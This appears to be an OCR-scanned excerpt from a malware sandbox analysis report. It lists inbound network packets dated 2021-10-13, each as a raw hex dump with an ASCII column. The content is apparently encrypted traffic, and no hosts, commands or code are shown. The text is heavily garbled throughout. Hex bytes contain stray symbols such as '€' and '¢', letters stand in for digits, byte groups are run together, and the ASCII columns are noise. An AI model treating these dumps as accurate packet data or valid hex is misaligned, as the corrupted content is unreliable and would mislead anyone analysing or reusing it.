76 9f 67 0f 9a 7b 8c 30 40 e8 ad 3f 43 al 8a 67 62 2d 22 c6 39 90 bb 92 ab cc 4d 25 bf 5¢ ea 38 57 d6 0d f6 Oc d5 85 36 fa
fb 83 92 €0 48 54 99 2e af 94 64 d9 31 42 13 5e
Data Ascii: ' 2?°<;S8h](q8 x4t~d6HHr2m="b"*jT{om&X7Qd&dRt)Qc?Ly,b\yWx3@|OM)Qxs]=<F8IE02257%Jvg{0@?Cgb-
"9OM%\8W6HT.d1B"
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 452 IN Data Raw: €6 03 c3 67 ad fO 7d c7 5¢ 51 81 63 48 5f b2 ad f2 94 52 93 ¢9 6b 5 4c 9e d1 98 87 44 21 b2 37 57 13 d6 1d
277988 dd 0d 6d 99 ca a3 cd 78 1f 66 24 cd 14 f0 28 6b a3 97 00 63 6¢ €2 80 e3 a7 71 b6 5d c6 04 5d aa 8d da c7 cf b8
cfal el 4c a5 1c faae 8b cO 71 c5 ec c9 d2 49 89 3c b6 3f 05 af 47 ad bf f8 3c d6 03 10 4f fa 09 95 8b 92 45 4f 8 3f fO e6
7470 8c d9 8e 0d 73 ed 09 30 7e 7c 8e 00 c5 96 e8 dd 7f 80 75 8f 8e 2f c7 9b 7e 77 cc fO ae 9e 3c ec cb 3d c7 0a 96 dO
2d 07 ac 2¢ 82 a0 61 c0 23 b7 54 d5 ac 87 f7 73 4c d3 96 69 a6 d8 14 65 25 87 8d 7b f4 c1 3d 0f c4 c7 ee 28 aa db be b7
44 15 03 fa 54 81 37 e2 dd bd 9c ba 9e dc f7 a0 58 89 9e 83 el 3d 23 52 5d 37 7e fe d3 06 25 1d ef 9c f1 d8 36 14 Oc 5e
a7 8e cd 86 dd b4 3b 42 0f 29 f2 f2 e5 ea 4e 53 54
Data Ascii: g\QcH_RKLD!7W'ymxf$(kclq]]Lgl<?G<OEO?tpsO~|u/~w<=-,a#TsLie%{=(DT7X=#R]7~%6";B)NST

2021-10-13 13:52:00 UTC 453 IN Data Raw: 51 1d 31 b8 4c 22 c0 65 5d 1c 12 b0 32 07 3e 0f ed 9f c6 78 a5 3a a0 d6 92 0f d5 54 f6 11 80 13 cc b2 b4 22 96
dc 01 60 b2 61 9c bf 12 7b 82 e7 e4 3f 39 53 6f c6 8d 7f c4 7b 13 7 5a b6 9c 02 f4 54 20 bb Oc 8¢ 79 30 27 ce 71 be 67 5f
61 22 f7 8e 52 0d ab 30 6¢ a9 Oc 1e 87 el 73 23 03 ca f2 8b ca 45 26 00 76 70 11 06 26 ff 06 f6 6¢ 32 c2 3a ef Of 9f d1 f6
db 62 68 f2 7e €9 fd 44 a3 55 a2 17 07 1b 45 63 89 al c5 05 f4 dc 19 5d 93 15 19 a6 e2 ee 7e 14 12 4d 95 72 49 af el 9a
cc b4 4e 19 2d 54 ff 45 b0 49 da b6 17 87 d2 51 36 Oc 26 29 69 27 29 7e b7 01 3d cb cd c7 fd 4b 36 49 1f 85 1c 21 17 f8 6f
ec 8e c0 84 49 68 1d 81 a8 d2 3a ac cf 8f 2b 66 44 e5 53 5f a5 4d a9 80 ea 0a 51 5b da ff 86 32 d8 el d6 58 94 8d 63 05
2a3aac e2 2e 7f 2d 44 1f 6d 2e 91 10 34 dd
Data Ascii: Q1L"e]2>x:T""a{?9So{ZT y0'qg_a"ROIs#E&vp&I2:bh~DUECc]~MrIN-TEIQ6&)i")~=K6l!olh:+fDS_MQ[2Xc*:.-Dm.4

2021-10-13 13:52:00 UTC 454 IN Data Raw: Oc c6 16 07 e4 dd 2a 2e f6 4c dO f4 50 3e 9b 2b 66 b7 22 d3 ca c0 b2 e6 19 26 62 af 09 40 12 54 26 9e 18 74
e0d4 6a 07 ad 36 f9 7d 33 e2 27 53 c4 7b 68 a0 8b 60 24 7e 2f d5 46 3b 29 7c dd 20 31 75 40 1a bd 3c 2e fa 81 a3 8c 3a
72 44 82 O bf 26 6¢ 78 e4 ea d4 99 4d 65 29 01 d5 5e 44 28 07 bd 1b 45 63 b9 8 f9 20 3a d4 59 86 32 73 a4 d9 el 92 21
78 6¢ f2 07 71 05 4b 23 b0 e3 af 3c aa 16 73 4a 63 00 ec 8d b7 59 d2 23 41 6e 02 19 ec e7 {7 6d 08 10 5¢ 58 ba 68 06 Of
b7 d4 f5 22 60 5e 4e 43 fb 54 28 86 e6 f1 c6 43 ae 35 90 Oc 49 ba f3 aa 3b 09 33 cc 58 74 ed f6 16 e7 cb df 80 c2 4c 84 fc
Oc 78 b0 fc a3 4a 74 8b bb bd 88 27 52 14 29 26 3c 6c fe ef e0 07 bd ba 88 6a d6 ec 08 ac 59 d3 3e 44 3f 51 5d e6 1c 08
c2 a3 23 fc 20 24 8b 18 0a 52 b9 c5 70 96 21 1b 7d 42
Data Ascii: *.LP>+{"&b@T&tj6}3'S{h $~/F;)| lu@<.:rD&IxMe)"D(Ec :Y2s!xlgK#<sJcY#Anm\Xh" ANCT(C5I;3XtLxJt'R)&<l]
Y>D?Q]# $Rp!}B

2021-10-13 13:52:00 UTC 456 IN Data Raw: 4e 03 09 77 c4 39 08 cd 1e 6b 7 e5 fb c2 8f fe 1d 53 41 03 ae e3 a5 63 73 2d 85 52 60 66 99 4d ee e5 bb df 19
d5 34 b8 fc 9e dd 57 9d 99 8c ae f2 f0 60 8f 68 e7 01 fO 38 3d d5 fa 41 e2 8b 4c 2c 1a le df 8a bl 53 c5 ee a5 6a 5a da cf
88 43 5b Oe d9 fe 71 cf 24 36 78 3e 56 €8 6d ea e4 a8 87 ba 57 12 98 7f b6 c7 2e e6 81 14 56 b6 a3 82 03 d0 a6 0d 41 46
€2 3094 3b 6d 2d b6 85 0b €8 1d el b5 e9 6e cl ae 23 d0 11 f8 ¢c7 70 f2 59 21 df dO 93 54 50 5e 44 48 e6 e5 68 eb 53 9¢c
ef 6a af Ob ce 79 ef 1e b4 a9 8d 58 24 8a 70 82 05 90 b9 9a 9d 73 33 d0 c8 20 ea d9 d5 9f 80 6d 1c 87 4f 39 f8 16 7 e3 3f
a8 28 c9 c7 f3 17 3a c9 bb 38 48 6e 1f a5 ab aa b9 3a 7f 6f Oe 61 ea 42 19 7c 8d 5c 5¢ al 81 a9 4b fa 19 48 7c 7f ae 24 bf
d2 c6 66 26 ff 88 63 b7 b3 c0 d5 b6 al 31 9f
Data Ascii: Nw9OkSAcs-R fM4W h8=AL,S|ZC[q$6x>VmW.VAFO;m-n#pY! TP DHhSjyX$ps3 mO9?(:8Hn:0aB|\KH|$f&cl

2021-10-13 13:52:00 UTC 457 IN Data Raw: 7f ea fb 69 67 a3 89 2e 93 97 2f 6e ee c1 61 ba a6 d4 c1 13 e6 Ob 03 da 5d 7d 51 d9 14 96 74 96 1le Oa 40 9a
8480 77 4b d8 5f 17 Oa dd f5 7f 5d 84 c2 93 29 ba 5¢ 33 0f b7 23 14 9a c8 bf be ff d0 al 39 84 27 42 2b d2 64 4a 15 e3 3¢
bl 8e b9 58 e5 4a c0 05 b7 32 3b 64 03 6b 67 78 1d 78 f4 9f 86 27 44 d3 3c 56 7c bf 54 8e Ob 1f 37 84 4e a7 el 72 36 ad
Oa 44 0a 30 c3 68 cd 9b ec 91 6d b2 6¢ 39 c7 4c f6 28 bd ac 36 7f fd 3c 4d 54 33 69 9f f9 34 c8 37 ec 2a 38 6e 70 c8 de 11
67 98 dd 72 82 f9 ec ¢8 38 82 67 7a c6 e5 70 34 6 f4 2b 3b 1a 58 c2 3c d1 66 5d 92 f7 57 89 81 93 f4 ec 7b 40 9f 40 Oa 9d
da 60 b4 53 4e a9 84 2a 64 b3 b9 ab ff 22 f4 f4 39 fd 06 66 1le €3 dO c5 c3 42 bb 5f be dd 03 6b 25 3a Oc 84 ¢8 75 16 25 0f
ed a8 e6 63 e2 81 82 25 84 47 al 5b ea a8 17
Data Ascii: ig./na]}Qt@wK_])\3#9'B+dJ<XJ2;dkgxx'D<V|T7Nr6DOhmI9L(6<MT3i47*8npgr8gzp4+;X<flW{@@ SN*d"
9fB_k%:u%c%G[

2021-10-13 13:52:00 UTC 458 IN Data Raw: 41 a8 66 46 c9 2b ff b5 b6 23 36 ee 35 d8 bl 8e 94 de 9b 51 b8 e9 2a 93 78 53 ac 6f a6 18 7a 3c 78 44 08 8d
93 al 54 83 1a la 1d 17 b1 d8 25 10 6e 6e 71 3f 4f 75 c9 36 Of 78 55 d8 ac 1a Of 5b 2d 6d Oe 4a f0 17 65 c3 fe a4 38 60
Ob Of b9 ac b6 99 28 a7 6e 8b a3 91 7e 2f 07 88 22 e4 34 ab 1c el 1b f8 84 b2 52 8d 43 e6 b5 a6 a2 9¢ 11 09 1c d9 ed 68
39 cadl a4 4e bl c3 c6 c7 dl e3 bb 45 9d b5 06 28 dc 6b cb f1 34 80 46 37 b3 e7 dc 6e d8 ff c7 79 68 ea b5 01 17 d6 5b
25c0 e5c9 34 27 64 8e 8a 54 f3 78 cd c8 ac 5b 66 4d 47 ea fc 69 c4 5a 49 a7 03 4c 93 dc c4 f8 c3 58 f4 68 4e 96 2a 42
c7 d1 2f 30 ee fa 80 af 76 17 03 b5 35 cb cd f7 96 7a 3a 04 3f 70 de ba 22 a1 0d 30 1c 79 70 4c 32 fc 24 bc 57 a3 f8 ¢1 91
8b bb 64 0f bc d2 da 29 62 dc c6 9e 3a 94 3f 67 c2 50
Data Ascii: AfF+#65Q*xS0z<xDT%nngq?0u6xU[-mJe8’(n~/"4RChINE (k4F7nyh[%4'dTX[fMGIZILXhN*B/Ov5z:?p"0ypL2
$Wd)b:?gP

2021-10-13 13:52:00 UTC 459 IN Data Raw: 90 40 c1 de 41 ee 5c af 84 32 39 4f 94 59 01 3e 68 3b 6a 5d 5e 27 42 cb 14 14 6a 8¢ 9a 7c 29 ce 15 77 c2 e
6a 0e ae 81 d4 6d dc 1c ed 6d c4 ef ef ca f7 11 fd 51 69 9b cc 92 e5 b7 49 9e 1a 23 38 6a ad cf dc 90 08 89 bb 38 57 4c
53 65 98 57 a9 51 84 7a 14 b5 53 be 3b 0f c2 b9 27 f8 9b d8 fa 0a 56 d6 b7 f7 87 d8 17 70 3a 0a 9d 5f cd 49 bd d1 Oa 61
43 ff 89 9d 56 d0 84 a9 27 1f bb b6 e0 57 15 24 a9 6f bb de f4 8¢ da bb 61 b8 14 73 €9 18 a4 1c 80 32 f2 9¢ 68 22 c0 3f a0
f2 eb 33 95 9e 60 4e b8 5d f6 92 be d5 b4 aa 97 52 1e 09 Oa 7c ec 2b dO ¢3 ca 15 b3 f5 3¢ 96 a4 9c 19 bc el 36 79 08 2c
62 97 90 €9 66 fd d9 7b 8f 1b bf 55 c0 a5 e9 b2 34 51 80 2f fd 1c €9 80 f4 1c d6 74 e4 7a 06 8a ef eb 37 9a 5d 3e b6 1b 6f
¢4 75 36 da 61 bc b8 3f 4e d3 ff 6b a8 d4 5b d6 93
Data Ascii: @A\290Y >h;j|~'Bj|)wjmmQil#8j8WLSeWQzS; Vp:_laCV'W$oas2h"?3 N]R|+<6y,bf{U4Q/tz7]>0u6a?Nk[

2021-10-13 13:52:00 UTC 460 IN Data Raw: 49 70 b8 Ob 89 e7 85 d6 89 02 52 ed a7 44 27 3c 1d 37 df 3b 3a c0 14 92 b9 fa d8 10 22 36 62 2b e0 d8 bb 15
05 32 fa d8 df 26 6e d5 fc 66 ca b2 00 e5 6a 68 de 20 ed b5 cd 03 9f 7e 0d 43 b7 56 el 03 a5 57 7f 61 c2 28 25 €0 20 42
5e d7 24 d1 59 a1 07 92 c9 ea 60 e8 0d 85 b0 e2 71 90 16 e7 ef d5 ef 16 7a 5¢ 71 36 aa 03 26 a6 21 75 67 11 ¢7 €6 99 13
bl 4e 45 61 3c 93 91 41 8d ba 38 a0 93 al 62 43 ee dc dd 63 b9 e2 d9 d7 23 c5 fc 9a 7d 99 75 a5 e2 9d b6 95 6f b6 7d a9
1ba9 21257361 04 db 73 71 e7 87 a4 cb 50 c4 9c 33 d4 85 a9 17 25 8f ab 65 6 03 a3 5f bc 73 3d 82 7e d9 c6 5a 4b d8
cd c7 9d b8 69 90 38 78 69 d9 a6 03 3f a9 64 97 28 6d ed 11 cO 46 ad cb 5¢ 64 e6 5b 46 ff 62 7f 53 al 01 d2 1a 90 78 Oe
6¢ 7b ac 7b 51 60 ce 51 a2 71 03 00 3f 74 96 29 3f 40 35
Data Ascii: IpRD'<7;:"6b+2&nfjh ~CVWa(% B"$Y qz\q6&'ugNEa<A8bCc#}uo}!%sasqP3%e_s=~ZKi8xi?d(mF\d[FbSx
{Q'Qa?t)?@5

2021-10-13 13:52:00 UTC 461 IN Data Raw: b9 74 d4 ef 21 d8 63 cf 0d fa 42 46 3a 8a 19 4c b5 24 b1 f1 84 77 4b Oe 55 c4 1e 58 eb 77 42 41 el 43 bb 24
€8 86 d9 b7 fe b7 09 47 6¢ 9c fe b3 96 e5 b8 6e 46 5a 5f 3f el 5¢ bf 9b 1f bc 69 20 b9 66 48 c7 1f ec 08 ff 4b d2 3e 4a be
c5 8e 30 c8 a6 6a 2e 5b 63 e2 6d 9e cc ac 9c 9d d2 f9 c2 ¢9 22 00 79 df 6a 4d 2d 3c 48 35 26 f2 27 a2 82 58 d4 3f fe d7
5a 21 d2 d9 49 22 4f 75 28 28 31 a4 fd db f8 03 61 b7 86 9f ac 7a 76 e4 b9 d9 3b 0d 7a 99 81 d8 65 6e 8b 89 01 05 de ce
7c 74 22 9e 53 5b a6 e6 80 f4 1b c0 ba 97 80 a5 e6 3c b2 7e fa b7 be 8 24 06 25 fa c8 47 97 23 ¢6 30 1b ¢7 62 10 e4 cd
4e 6a 21 0a 59 d9 31 db d9 1c f4 41 f3 11 65 13 52 20 46 59 5d 17 6e e5 ee 77 f0 b3 10 68 ab dc c¢3 cd 3d b9 c¢3 Oc 0b 77
8a 4f Oc ab 8a d1 b8 76 80 a9 05 c1 ee 25 a2 92 8a 4f
Data Ascii: t!/cBF:LSWKUXWBACS$GInFZ_?\i fHK>J0j.[cm"yjM-<H5&X?Z!I"Ou((1azv;zen|t"S[<~$%G#0bNj'Y 1AeR
FY]nwh=wOv%O
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 463 IN Data Raw: ea 09 49 a9 21 56 ba 25 4d 14 8d 40 54 d6 2c 63 b3 52 fe 03 f8 d9 ff 5a 3c ad dd 48 28 ba af e0 46 eb 4d b6 c6

d7 45 f1 15 6d ac 22 b9 4c Oe 91 d9 62 55 6a 3f 8b 0f b0 08 b9 4d 6e b3 72 75 cc €9 64 63 24 8f 5d 0a 01 16 b4 81 f8 71
51 dc 19 46 4c fd d9 24 61 b1 65 53 c9 40 09 e7 65 b0 f5 b6 99 bc 9f bf 32 55 73 a9 90 c8 1d 4e a4 38 67 €9 79 be b7 82
72 1e 82 db fd 5d 60 9c 5a 1le 87 0d 58 b3 a9 ee e7 6f e5 a7 4d 61 28 db 5f fa 9f 82 ed 72 96 47 84 54 52 84 2c 82 50 9c
€9 cl 46 a2 3e 38 Of e7 f7 c9 68 14 a7 03 3e b9 9b 77 Oe dc cO 74 39 03 90 e6 b7 69 5f Ob 46 b8 bb 7c bf f8 7a 2d 32 13
8d 76 1le 9a d2 ce 87 7f 2a bc 83 94 83 41 e8 90 a7 7a a8 f6 ¢3 0a Oa 19 df b1 3b 7d c4 7f 53 2f 2d 3a 72 57 43 ac 1b a5
18 a5 d6 b6 b8 71 00 ad db 60 d5 33 fa ae 7c 46 43 ab

Data Ascii: ['V%M@T,cRZ<H(FMEm"LbUj?Mnrudc$]qQFL$aeS@e2UsN8gyr]' ZXoMa(_rGTR,PF>8h>wt9i_F|z-2v*Az;}S/-
:r'WCq'3|FC

2021-10-13 13:52:00 UTC 464 IN Data Raw: f5 f2 29 e0 bb 86 18 10 4f 83 d7 28 f1 74 Oe 52 e8 80 81 14 bc a8 f6 87 03 b5 d7 4c 38 30 07 55 6b 6e €8 ed 52
a7 7521 4fb5e9 67 b2 c1 16 78 25 60 09 22 19 38 f8 49 f1 7c e8 1le ea 65 28 56 ef 28 bd Ob 8d ac 9a 3a 02 e7 8e 95 al
7 06 27 34 7b be 20 73 f3 a2 ¢3 31 ae 74 84 85 f3 2a ba 7a d8 64 c6 27 95 61 4f 9 d2 3b e5 46 ad 43 f4 c0 6e 1b f6 e2
ed 1d 77 ac 8b 77 30 65 f8 08 64 70 e3 e6 3b 1f 47 df b0 44 80 27 d2 93 80 c7 14 41 32 19 0f e0 bc b5 72 ¢6 d2 dd 15 5¢
2b 7d da 51 21 ba 6c 6c df cf e0 f2 5b f1 be a8 35 85 Ob 8d 64 4c 28 30 cf 98 98 14 6e 12 57 11 d1 el 63 cc 56 d8 ba 5e
7057 51 d5 b2 ed fd 52 45 bf c1 62 80 15 f5 2f ca a4 8 41 60 0a 82 66 43 7f 15 cf 51 b8 df 57 Ob b3 71 a9 e3 05 df 93 4e
86 79 f4 c8 18 95 22 37 f2 43 f0 17 83 a3 60 12 f2
Data Ascii: )O(tRL80UknRulOgx% "8l|e(V(:'4{ slt*zd'aO;FCnwwO0edp;GD'A2n\+}Q!I[5dL(OnWcV "pWQREb/AfCQ
WgNy"7C*

2021-10-13 13:52:00 UTC 465 IN Data Raw: a3 d4 b6 f6 83 b8 df 44 31 9b 8c bf ae 3¢ 3b bc 7e ¢7 bc d1 98 2a a8 63 64 28 92 49 1d 61 9b 13 f9 bc 08 26 de
71 30 95 72 c0 8b c0 73 27 7f af a0 7f b5 76 6f 44 75 9e fc 45 9 47 33 06 b6 Of 74 16 49 4a 95 0f ad 69 d8 38 09 bl ac b6
b3 fae4 26 6e 91 b3 4d 71 82 4d 36 16 ff 51 2b d5 c0 d2 8a f6 d6 €6 b7 cf c2 91 ac f7 9c df 4a e4 19 56 2c e4 33 d4 8a la
52 96 18 44 24 70 e5 9e a6 15 96 €9 01 79 ab b4 2b 7c 8f 86 80 ae fb 2b 00 14 cb al 22 17 ef dd a5 70 18 f8 b2 5f 07 c3
31 3f10 72 ab b1 26 d5 63 18 d4 ee fd 2d f0 58 el 5b 27 be 33 fc 27 fa ce 87 1b fa 8f 7d 41 22 62 0a e7 68 c4 7d 23 f3 90
ea 72 32 66 1c f6 2b f8 46 57 29 6e 64 d2 a4 {7 4a 82 07 aa 63 d7 14 05 d1 5d 58 53 5a 9b 4d 67 fc 5b 2c 41 €9 c7 ec 4a
98 de 38 8c 01 ¢5 55 b6 dc d1 66 a2 a2 5e 73
Data Ascii: D1<;~*cd(la&qOrs'voDUEG3tl1Ji8&nMgM6Q+JV,3RD$py+|+"p_1?r&c-X['3tA"bh}#r2f+FW)ndJc]XSZMg[,AJ8Uf s

2021-10-13 13:52:00 UTC 467 IN Data Raw: 21 d2 ce c2 17 73 18 c6 f8 92 47 b7 57 01 4c 44 cd 27 ac 19 7c eb af el 2c ea 44 8e f8 3b d0 7d 48 5d 2e €9 a2
dc a3 28 6¢ 67 69 fa el 79 86 72 16 64 71 32 fc ce 4b 83 2f 7b dd 47 e5 25 4d 3e a3 0f 5e 9f ea a5 21 e7 f5 e8 b0 a6 76
6d 0f 79 9e ed d9 87 86 al 09 01 15 05 7e 87 2e 40 a3 57 2d 8a el b8 01 3a 72 a7 95 d9 b9 8f 73 75 56 66 de 9c d7 09
1858 bl 44 73 f0 3c 3c 79 a6 7f 52 f6 bb 14 07 60 42 78 bc e3 a0 be db aa e3 72 33 c1 74 3 9f 52 fc 15 e6 d8 1a 02 d6 15
€3 69 ad 58 Oc 02 2d 07 ff 69 a0 73 9d 80 8f 92 2e cf 66 cb 40 31 57 a7 fe cf Of 10 8e cc a2 ff a6 60 b5 08 d2 ec 11 da f4
3b 31 d8 6¢ f5 37 97 79 50 fe d2 6e 08 ea 75 17 30 33 83 ad Ob 27 d3 83 74 fd bf Of b4 80 e7 71 fe 6a bf ce €9 99 ac 52 9d
14 1d a8 4f 52 36 d7 da d3 0f 96 65 92 95 c1 7¢
Data Ascii: IsGWLD'|,D;}H].(Igiyrdg2K{G%M> vmy~.@W-:rsuViXDs<<yR Bxr3tRiX-is.f@1W";117yPnu03'tqjROR6e|

2021-10-13 13:52:00 UTC 468 IN Data Raw: 20 cc c3 d9 8f 43 d4 09 d5 13 79 52 8a 81 a0 4e 0d a6 f4 5¢ 07 ed ac 53 d4 06 3d e4 7c ea ff 5a e8 d8 6d 69 16
af 6f 9d 76 49 da 9f e8 14 ea 52 84 1e 13 38 19 5d e7 cc 97 8a 17 82 73 6e 9e 27 34 be 76 71 77 Oa d0 60 67 6d 18 cc 34
9c de 3c 2a 46 41 ae 8f 3b 14 49 7f 4b 87 44 7f 6e fc f4 Of 9d 61 e0 4d 8b 43 al aa b0 5¢ c2 cf 94 62 34 b6 46 34 70 d6 c7
a6 16 al 31 a6 7b 8d 85 f3 50 8a 72 40 f4 11 17 66 6¢ 42 74 98 04 29 7b 9¢ 50 41 9e be 40 e4 5e 1b €3 16 60 b5 60 42 €3
5c 04 b5 73 b9 8f 39 f3 1e 98 7a 51 65 02 ae d6 b5 c0 4d c1 28 2¢ 4c 94 57 6a cf a8 c7 9f 24 01 2f 57 d2 33 56 7c 59 50
54 5¢ 57 84 7a 5b 96 40 5e e6 12 ca 72 ¢5 90 1a 6d 7c cf 1b c9 29 f0 87 e6 6 2¢ 71 4a d2 f1 28 46 51 92 9f 15 3e 88 dc
24 d6 35 ce b7 a8 d8 d3 ¢4 05 79 70 d7 65 85 4d 22
Data Ascii: CyRN\S=|ZmiovIR8]sn'4vqw gm4<*FA;|IKDnaMC\b4F4p1{Pr@fIBt)}{PA@" "B\s9zQeM(,LWj$/W3V|YPT\W
Z[@"rm),qJ(FQ>$5ypeM"

2021-10-13 13:52:00 UTC 469 IN Data Raw: 2e c8 cc al 46 47 84 7a d4 01 e7 63 9d ad 72 cc b9 60 f2 bd ec ac a7 2c 04 25 18 6f 4f 08 ef 71 55 a3 44 e4 20
c7 3f57 96 78 67 e0 d1 da f1 b3 45 5b 66 4d 1a 71 68 8d ca 16 1f be d3 35 64 8b 28 47 1e 3c 48 ec 41 €3 90 89 13 8e 5b
10 d2 8f 37 db c2 af f9 29 e0 60 59 Oc 55 f8 a0 08 03 2a a8 e6 dd 29 c9 80 de fc ¢5 a0 01 3¢ 79 7f b7 61 11 68 25 28 87 {3
25 bf 02 fc b6 8f 01 7a b8 18 93 b5 72 03 05 3f 4e be b8 7f 4f 82 41 37 85 Oa e5 Oe cb f6 3c 04 8a 01 3f f4 ec b6 9f 89 62
2d a9 93 79 d8 96 a5 31 90 4c ce d6 5d a9 a2 92 4a cd ed 9a 14 47 59 ba 66 71 8d a4 f8 30 a2 4e 13 68 d3 45 63 37 76
3543 24 28 31 cb 81 Oc 7a 2c d5 93 58 8e 35 23 fc 89 c0 50 b6 b6 al 73 e4 6d c9 44 02 6d 08 dd 09 61 01 91 51 f2 4c 88
3 af 1b 98 df 44 e8 e6 93 e3 8c 48 58 79 6e 3e fa
Data Ascii: .FGzcr',%00qUD ?WxgE[fMgh5d(G<HA[7)"YU*)<yah%(%zr?NOA7<?b-y1L]IGYfqONhEC7v5C$(1z,X5#PsmD
maQLDHXyn>

2021-10-13 13:52:00 UTC 470 IN Data Raw: 2d a3 Oa cd d1 Oe a3 66 22 2f f1 32 29 c7 fd 10 67 06 41 28 55 3c 35 55 78 af 29 89 3c 09 98 b6 95 09 17 3e 9b
1c 4e 00 06 3a 2e b4 0f 60 9b 12 d6 c5 el cc 00 55 e2 98 20 54 e3 75 3d 70 ca 38 b1 40 f1 cO dd ce 6d ac 61 d2 78 59 19
1c ad 06 5¢c cc a5 96 b6 6¢ ae 97 2e 1d 35 19 e6 ec d9 c7 67 14 a7 d3 4d 5f af 08 4c bl f6 af 40 8b a0 c2 d7 10 35 1d 69
1f cO 78 8¢ 82 2e 7f eb 9 59 18 d4 df 2e b0 55 4f b5 36 9b 4c 6¢ ee 19 cb 59 f9 ac 86 36 66 93 41 54 87 5a a9 df 70 1a al
44 23 b0 56 0d e3 cc b5 24 bl c1 8f e9 88 0d 1f ea f7 39 2e 56 9f a9 9b 1f 62 fd 6e ea ac 2a db 4a c9 1b f7 21 08 e8 b5 7d
ba 88 25 42 b7 74 db c6 83 df 3c f7 c2 d5 2a 18 3c f6 42 42 d7 52 bd 98 24 74 61 cc fa 31 39 91 f4 a8 17 al 8a 3a ed 35
77 65 df 74 d4 99 d0 67 8a 45 65 d4 9c c6 d9 c2
Data Ascii: -f'/2)gA(U<5Ux)<>N:."U Tu=p8@maxY\l.5gM_L@5ix.Y.UO6LIY6fATZpD#V$9.Vbn*J!}%Bt<*<BBR$tal9:
SwetgEe

2021-10-13 13:52:00 UTC 472 IN Data Raw: 96 5d e0 3f 8d 86 76 24 55 e3 10 ee 37 64 18 f5 e5 4d 5f 6b d5 be 11 a7 3e ed dc 2a 03 dO db 39 d3 37 6b 60
32 fd 44 3b 3b a0 ec 7f 58 36 44 01 93 80 76 96 64 b0 41 1c b7 1f 13 8e 5f aa 03 f4 45 58 37 a3 €9 7b 7 76 38 7e ae Ob
98 04 87 8e 5f d4 58 99 49 73 14 88 f5 ed 9d 3f a8 5d 3c 5e ca a0 7a e6 37 a7 fd 50 e2 16 al 47 3a 4c fa be c0 5d 12 04 ff
03 b4 9d b5 2¢ 41 7e d7 82 Of b5 c5 64 54 8b 29 8¢ 7c 72 3e 65 24 10 36 08 02 el ca 45 68 45 dc 3e e5 1b 9e 44 10 18 e2
dd 46 47 83 dc f2 76 2e d7 4e c4 cb 98 fa b6 e2 6¢ 28 el 6¢ 34 86 50 aa b4 8c 4c dd b9 53 a8 2b d0 4a 2 66 5¢ f0 58 3a
4c 7a 79 6a 7d 20 99 67 e0 4e f7 57 03 d4 49 3d d5 07 be 65 06 1c 2f 9c ef d8 cc 95 Ob b7 c6 a5 09 ab 1f ca 9a 43 7c 32
d3 46 82 32 f5 ba 4f d1 35 01 97 e7 46 ff 3a f9 b5 3b
Data Ascii: ]2v$U7dM_k>*97k 2D;;X6DvdA_EX7{v8~_X|s?]<"z7PG:L],A~dT)|r>e$6EhE>DFGV.NI(14PLS+IA\X:Lzyj}
gNWI=e/C|2F205F:;

2021-10-13 13:52:00 UTC 473 IN Data Raw: 94 ec 04 99 f8 1d d2 4b 2e 11 23 el 4b 84 cf 90 20 a8 4f d9 92 37 aa 0d e0 f0 86 6a 52 da d7 f4 d9 eb Ob b2 a6
9b b6 ad 88 c4 53 08 50 99 6¢ e4 7f €5 80 Oa f6 0a 7b 45 89 b3 58 99 84 3e 5¢ bd c4 f1 e9 e6 6¢ 46 13 1b 6e 66 40 53 9e
78 d9 b7 8b a7 6b 7b 8f 43 cc fa cc f2 9a b5 d2 fc dc e8 23 36 6f 66 34 66 58 98 5b 7a 2a 44 77 dc 22 6f 05 7d 2a f9 72 5a
91 c8 af 83 dc 0f 9c 19 68 35 29 c0 a6 8f 08 e4 74 eb 46 65 a8 48 56 Oc 7 4e 33 79 df 4a 29 1c 10 95 Oe 16 68 2d 87 b0
68 24 a3 a0 14 19 7e b7 e8 3c 8¢ 97 2f a3 76 ¢3 b7 de ba 62 1f 5b 88 50 Oa f3 e3 7d 76 6¢ 92 Oa ea e0 53 6¢ 6d 6e al 39
f8 3b 54 1c Ob b1 00 d5 b9 3a 8f f3 f1 30 85 7f 3d 58 €0 62 b8 d5 7d cf 05 24 45 01 f1 5e c7 34 ed 19 4b ca 39 a0 95 9e 92
15 62 6e b5 6e Oe d2 e0 a5 01 95 5e 81 ad 90 al
Data Ascii: K.#K O7JRSPHEX>\IFnf@ Sxk{C#60f4fX[z*Dw"0}*rZh5)tFeHVN3yJ)h-h$~</vb[P}vISImn9; T:0=Xb}$E"4K9bnn"
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:52:00 UTC 474 IN Data Raw: 36 c9 00 bd 4d fe 09 ae c6 9c df d1 76 84 72 e8 81 f4 f3 df b7 80 a7 9e 1e 2d 21 43 63 ce e7 f0 7c 5d 6d 38 fO
6d 80 85 52 26 87 96 39 7c 06 c9 de bd 09 0d 87 2a 8a 66 18 3e 9b 19 98 59 6d 4a 6b 91 44 4c 4b 78 39 de 8b 6d 44 5b
4f da 4a 01 ae 42 c1 22 06 4c 59 be 23 55 d0 46 ec b0 4f aa d9 f2 a5 4c a6 {7 da 4a 67 51 c8 e9 26 el 4b bf ac bl ab 04
56 86 €9 0d ac 21 19 2d 3a b0 89 48 27 89 68 32 7c dd ed 17 Of da d7 35 b0 d2 f9 6d 2d 84 2b b2 b5 05 5a b0 79 Oc ce ec
2d 88 5 7a 1b d5 21 df a5 78 eb fa 77 f2 8b 8b 4d 7b 48 7e 3e 4f fd 3b f3 92 4a 47 77 11 e6 26 05 49 54 fa bc 3e da 5b c7
6a 4e 6a cl d2 2b 5a 08 f2 00 76 9¢c 53 d0 d6 c3 3c 6e e4 aa 95 77 c9 Oc 10 c1 06 af ef 69 5¢ ¢9 67 b9 41 17 35 d4 67 Oa
47 ea f3 7f 46 91 1a e5 36 27 53 f8 ba b1 88 6f 2b 4b
Data Ascii: 6Mvr-!Cc|Im8mR&9|*f>YmJIKDLKx9IMD[OJB"LY#UFOLJgQ&KV!-:H'h2|5m-+Zy-z!XwM{H~>O;JGW&IT>[jNj+Z
vS<nwi\gA5gGF6'So+K

2021-10-13 13:52:00 UTC 475 IN Data Raw: Oc bc 66 e0 48 e8 4c 22 b7 b3 93 2e 2b c6 f6 f5 96 36 ae 7b 1f 48 06 f3 50 f6 ed 20 df a6 4e 4b 4f 86 b1 de b7
ab d9 49 df b6 78 26 82 b8 90 95 10 95 be 4d af 64 38 b7 11 19 45 14 69 99 41 57 21 74 80 69 84 b6 7f db 59 30 bf dc fc
